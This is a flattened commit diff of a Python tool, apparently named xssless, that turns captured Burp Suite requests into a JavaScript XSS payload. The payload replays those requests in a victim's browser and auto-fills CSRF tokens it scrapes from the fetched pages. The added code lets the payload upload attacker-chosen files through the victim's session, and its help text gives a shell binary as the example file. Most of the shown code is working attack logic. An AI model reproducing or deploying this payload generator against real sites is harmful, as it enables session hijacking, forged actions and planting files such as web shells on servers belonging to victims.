4
4
import base64
5
5
import json
6
6
import os
7
-
7
+ import magic
8
+ # Import burp export and return a list of decoded data
8
9
def get_burp_list (filename ):
9
10
if not os .path .exists (filename ):
10
11
return []
@@ -27,6 +28,19 @@ def get_burp_list(filename):
27
28
28
29
return requestList
29
30
31
+ # Return hex encoded string output of binary input
32
+ def payload_encode_file (input_file ):
33
+ filecontents = open (input_file ).read ()
34
+ hue = filecontents .encode ("hex" )
35
+ filecontents = '\\ x' + '\\ x' .join (hue [i :i + 2 ] for i in xrange (0 , len (hue ), 2 )) # Stackoverflow, because pythonistic
36
+ return filecontents
37
+
38
+ # Return hex encoded string output of binary input
39
+ def payload_encode_input (filecontents ):
40
+ hue = filecontents .encode ("hex" )
41
+ filecontents = '\\ x' + '\\ x' .join (hue [i :i + 2 ] for i in xrange (0 , len (hue ), 2 )) # Stackoverflow, because pythonistic
42
+ return filecontents
43
+
30
44
# Get a list of headers for request/response
31
45
def parse_request (input_var , url ):
32
46
@@ -36,7 +50,12 @@ def parse_request(input_var, url):
36
50
# Split request into headers/body and parse header into list
37
51
request_parts = input_var .split ("\r \n \r \n " )
38
52
header_data = request_parts [0 ]
39
- body_data = request_parts [1 ]
53
+
54
+ if len (request_parts ) > 2 :
55
+ body_data = "\r \n \r \n " .join (request_parts [1 :]) # Get everything after the first \r\n\r\n incase of file upload
56
+ else :
57
+ body_data = request_parts [1 ] # Only two parts so it's just a regular POST
58
+
40
59
header_lines = header_data .split ("\r \n " )
41
60
header_lines = filter (None , header_lines ) # Filter any blank lines
42
61
@@ -63,20 +82,63 @@ def parse_request(input_var, url):
63
82
del headerDict
64
83
del tmpList
65
84
66
- # Create a list of body values (check for JSON, etc)
67
- # bodyList[0]['Key'] = "username"
68
- # bodyList[0]['Value'] = "mandatory"
85
+ postisupload = False
86
+ fileboundary = ""
87
+
88
+ for headerpair in headerList :
89
+ if headerpair ['Key' ] == 'Content-Type' :
90
+ if 'boundary=' in headerpair ['Value' ]:
91
+ fileboundary = headerpair ['Value' ].split ("boundary=" )[1 ]
92
+ postisupload = True
93
+
94
+ # List of all POST data
69
95
bodyList = []
70
- body_var_List = body_data .split ("&" )
71
- body_var_List = filter (None , body_var_List )
72
- for item in body_var_List :
73
- tmpList = item .split ("=" )
74
- bodyDict = {}
75
- bodyDict ['Key' ] = tmpList [0 ]
76
- bodyDict ['Value' ] = tmpList [1 ]
77
- bodyList .append (bodyDict )
78
- del tmpList
79
- del bodyDict
96
+
97
+ # If the form is multipart the rules change, set values accordingly and pass it one
98
+ if postisupload :
99
+ postpartsList = body_data .split (fileboundary )
100
+
101
+ # FF adds a bunch of '-' characters, so we'll filter out anything without a Content-Disposition in it
102
+ for key , value in enumerate (postpartsList ):
103
+ if 'Content-Disposition' not in value :
104
+ postpartsList .remove (value )
105
+
106
+ for part in postpartsList :
107
+ sectionHeader , sectionBody = part .split ("\r \n \r \n " )
108
+ sectionBody = sectionBody .replace ("\r \n --" , "" )
109
+ tmp = {}
110
+ tmp ['name' ] = sectionHeader .split ("name=\" " )[1 ].split ("\" " )[0 ] # Hacky name parsing solution
111
+
112
+ if 'filename="' in sectionHeader :
113
+ tmp ['isfile' ] = True
114
+ tmp ['filename' ] = sectionHeader .split ("filename=\" " )[1 ].split ("\" " )[0 ] # Same
115
+ tmp ['contenttype' ] = sectionHeader .split ("Content-Type: " )[1 ]
116
+ tmp ['binary' ] = sectionBody
117
+ sectionBody = payload_encode_input (sectionBody )
118
+ else :
119
+ tmp ['isfile' ] = False
120
+
121
+ tmp ['body' ] = sectionBody
122
+ bodyList .append (tmp )
123
+ del tmp
124
+ del sectionHeader
125
+ del sectionBody
126
+
127
+ else :
128
+ # Create a list of body values (check for JSON, etc)
129
+ # bodyList[0]['Key'] = "username"
130
+ # bodyList[0]['Value'] = "mandatory"
131
+ body_var_List = body_data .split ("&" )
132
+ body_var_List = filter (None , body_var_List )
133
+ for item in body_var_List :
134
+ tmpList = item .split ("=" )
135
+ bodyDict = {}
136
+ bodyDict ['Key' ] = tmpList [0 ]
137
+ bodyDict ['Value' ] = tmpList [1 ]
138
+ bodyList .append (bodyDict )
139
+ del tmpList
140
+ del bodyDict
141
+
80
142
81
143
# Returned dict, chocked full of useful information formatted nicely for your convienience!
82
144
returnDict = {}
@@ -90,6 +152,8 @@ def parse_request(input_var, url):
90
152
returnDict ['body_text' ] = body_data # Raw text of HTTP body
91
153
returnDict ['flags' ] = flags # Special flags
92
154
returnDict ['url' ] = url
155
+ returnDict ['isupload' ] = postisupload
156
+ returnDict ['boundary' ] = fileboundary
93
157
94
158
return returnDict
95
159
@@ -141,8 +205,10 @@ def parse_response(input_var, url):
141
205
142
206
return returnDict
143
207
208
+ # Generate the main payload
144
209
def xss_gen (requestList , settingsDict ):
145
210
211
+ # Start of the payload, uncompressed
146
212
payload = """
147
213
<script type="text/javascript">
148
214
var funcNum = 0;
@@ -169,6 +235,15 @@ def xss_gen(requestList, settingsDict):
169
235
http.setRequestHeader('Content-length', body.length);
170
236
http.setRequestHeader('Connection', 'close');
171
237
http.send(body);
238
+ } else if (method == "MPOST") {
239
+ http.open('POST', url, true);
240
+ var bound = Math.random().toString(36).slice(2);
241
+ body = body.split("BOUNDMARKER").join(bound);
242
+ http.setRequestHeader('Content-type', 'multipart/form-data, boundary=' + bound);
243
+ http.setRequestHeader('Content-length', body.length);
244
+ http.setRequestHeader('Connection', 'close');
245
+ http.sendAsBinary(body);
246
+
172
247
} else if (method == "GET") {
173
248
http.open('GET', url, true);
174
249
http.send();
@@ -184,27 +259,76 @@ def xss_gen(requestList, settingsDict):
184
259
# Each request is done as a function that one requestion completion, calls the next function.
185
260
# The result is an unclobered browser and no race conditions! (Because cookies may need to be set, etc)
186
261
262
+ # Counter for function numbers
187
263
i = 0
188
264
for conv in requestList :
189
265
requestDict = parse_request (conv ['request' ], conv ['url' ])
190
- responseDict = parse_response (conv ['response' ], conv ['url' ])
266
+ responseDict = parse_response (conv ['response' ], conv ['url' ]) # Currently unused, for future heuristics
191
267
192
268
payload += " function r" + str (i ) + "(requestDoc){\n "
193
269
194
270
if requestDict ['method' ].lower () == "post" :
195
- postString = ""
196
- for pair in requestDict ['bodyList' ]:
197
- if 'parseList' in settingsDict :
198
- if pair ['Key' ] in settingsDict ['parseList' ]:
199
- postString += pair ['Key' ] + "=" + "' + encodeURIComponent(requestDoc.getElementsByName('" + pair ['Key' ] + "')[0].value) + '&"
271
+ if requestDict ['isupload' ] == True :
272
+ payload += " doRequest('" + requestDict ['url' ] + "', 'MPOST', '"
273
+ multipart = ""
274
+ for item in requestDict ['bodyList' ]:
275
+ multipart += "--BOUNDMARKER\\ r\\ n"
276
+ if item ['isfile' ] == True :
277
+
278
+ if 'fileDict' in settingsDict :
279
+ if item ['name' ] in settingsDict ['fileDict' ]:
280
+ filecontents = payload_encode_file (settingsDict ['fileDict' ][item ['name' ]])
281
+
282
+ # Find content type
283
+ m = magic .open (magic .MAGIC_MIME )
284
+ m .load ()
285
+ content_type = m .file (settingsDict ['fileDict' ][item ['name' ]])
286
+
287
+ multipart += 'Content-Disposition: form-data; name="' + item ['name' ] + '"; filename="' + item ['filename' ] + '"\\ r\\ n'
288
+ multipart += 'Content-Type: ' + content_type + '\\ r\\ n\\ r\\ n'
289
+ multipart += filecontents + '\\ r\\ n'
290
+
291
+ del filecontents
292
+ del content_type
293
+ del m
294
+ else :
295
+ multipart += 'Content-Disposition: form-data; name="' + item ['name' ] + '"; filename="' + item ['filename' ] + '"\\ r\\ n'
296
+ multipart += 'Content-Type: ' + item ['contenttype' ] + '\\ r\\ n\\ r\\ n'
297
+ multipart += item ['body' ] + '\\ r\\ n'
298
+ else :
299
+ multipart += 'Content-Disposition: form-data; name="' + item ['name' ] + '"; filename="' + item ['filename' ] + '"\\ r\\ n'
300
+ multipart += 'Content-Type: ' + item ['contenttype' ] + '\\ r\\ n\\ r\\ n'
301
+ multipart += item ['body' ] + '\\ r\\ n'
302
+ else :
303
+ if 'parseList' in settingsDict :
304
+ if item ['name' ] in settingsDict ['parseList' ]:
305
+ multipart += 'Content-Disposition: form-data; name="' + item ['name' ] + '"\\ r\\ n\\ r\\ n'
306
+ multipart += "' + encodeURIComponent(requestDoc.getElementsByName('" + item ['name' ] + "')[0].value) + '" + '\\ r\\ n'
307
+ else :
308
+ multipart += 'Content-Disposition: form-data; name="' + item ['name' ] + '"\\ r\\ n\\ r\\ n'
309
+ multipart += item ['body' ] + '\\ r\\ n'
310
+ else :
311
+ multipart += 'Content-Disposition: form-data; name="' + item ['name' ] + '"\\ r\\ n\\ r\\ n'
312
+ multipart += item ['body' ] + '\\ r\\ n'
313
+
314
+ multipart += "--BOUNDMARKER--"
315
+ payload += multipart
316
+ payload += "');\n "
317
+ else :
318
+ postString = ""
319
+ for pair in requestDict ['bodyList' ]:
320
+ if 'parseList' in settingsDict :
321
+ if pair ['Key' ] in settingsDict ['parseList' ]:
322
+ postString += pair ['Key' ] + "=" + "' + encodeURIComponent(requestDoc.getElementsByName('" + pair ['Key' ] + "')[0].value) + '&"
323
+ else :
324
+ postString += pair ['Key' ] + "=" + pair ['Value' ] + "&"
200
325
else :
201
326
postString += pair ['Key' ] + "=" + pair ['Value' ] + "&"
202
- else :
203
- postString += pair ['Key' ] + "=" + pair ['Value' ] + "&"
204
327
205
- postString = postString [:- 1 ] # Remove last &
328
+ postString = postString [:- 1 ] # Remove last &
329
+
330
+ payload += " doRequest('" + requestDict ['url' ] + "', 'POST', '" + postString + "');\n "
206
331
207
- payload += " doRequest('" + requestDict ['url' ] + "', 'POST', '" + postString + "');\n "
208
332
elif requestDict ['method' ].lower () == "get" :
209
333
payload += " doRequest('" + requestDict ['url' ] + "', 'GET', '');\n "
210
334
elif requestDict ['method' ].lower () == "head" :
@@ -234,6 +358,7 @@ def xss_gen(requestList, settingsDict):
234
358
235
359
-h Show's this help menu
236
360
-p=PARSEFILE Parse list - input file containing a list of CSRF token names to be automatically parsed and set with JS.
361
+ -f=FILELIST File list - input list of POST name/filenames to use in payload. ex: 'upload_filename,~/Desktop/shell.bin'
237
362
-s Don't display the xssless logo
238
363
239
364
"""
@@ -261,9 +386,35 @@ def xss_gen(requestList, settingsDict):
261
386
tmpList [key ] = value .replace ("\n " , "" )
262
387
if len (tmpList ):
263
388
settingsDict ['parseList' ] = tmpList
264
- del tmpList
389
+ del tmpList
265
390
else :
266
391
print "Error, parse list not found!"
392
+ if "-f=" in option :
393
+ fileuploadlist = option .replace ("-f=" , "" )
394
+ if os .path .isfile (fileuploadlist ):
395
+ tmpDict = {}
396
+ fileuploadlinesList = open (fileuploadlist ).readlines ()
397
+ for key , value in enumerate (fileuploadlinesList ):
398
+ rowparts = value .replace ("\n " , "" ).split ("," , 1 )
399
+ if len (rowparts ) == 2 :
400
+ if os .path .isfile (rowparts [1 ]):
401
+ tmpDict [rowparts [0 ]] = rowparts [1 ]
402
+ else :
403
+ print "File '" + rowparts [1 ] + "' not found!"
404
+ sys .exit ()
405
+ else :
406
+ print "Error while parsing file " + fileuploadlist + " on line #" + str (key )
407
+ print " ->'" + value .replace ("\n " , "" ) + "'"
408
+ sys .exit ()
409
+ del rowparts
410
+ if tmpDict :
411
+ settingsDict ['fileDict' ] = tmpDict
412
+
413
+ del tmpDict
414
+ del fileuploadlinesList
415
+ else :
416
+ print "Input filelist not found!"
417
+ sys .exit ()
267
418
268
419
if os .path .exists (sys .argv [- 1 ]):
269
420
inputfile = sys .argv [- 1 ]
0 commit comments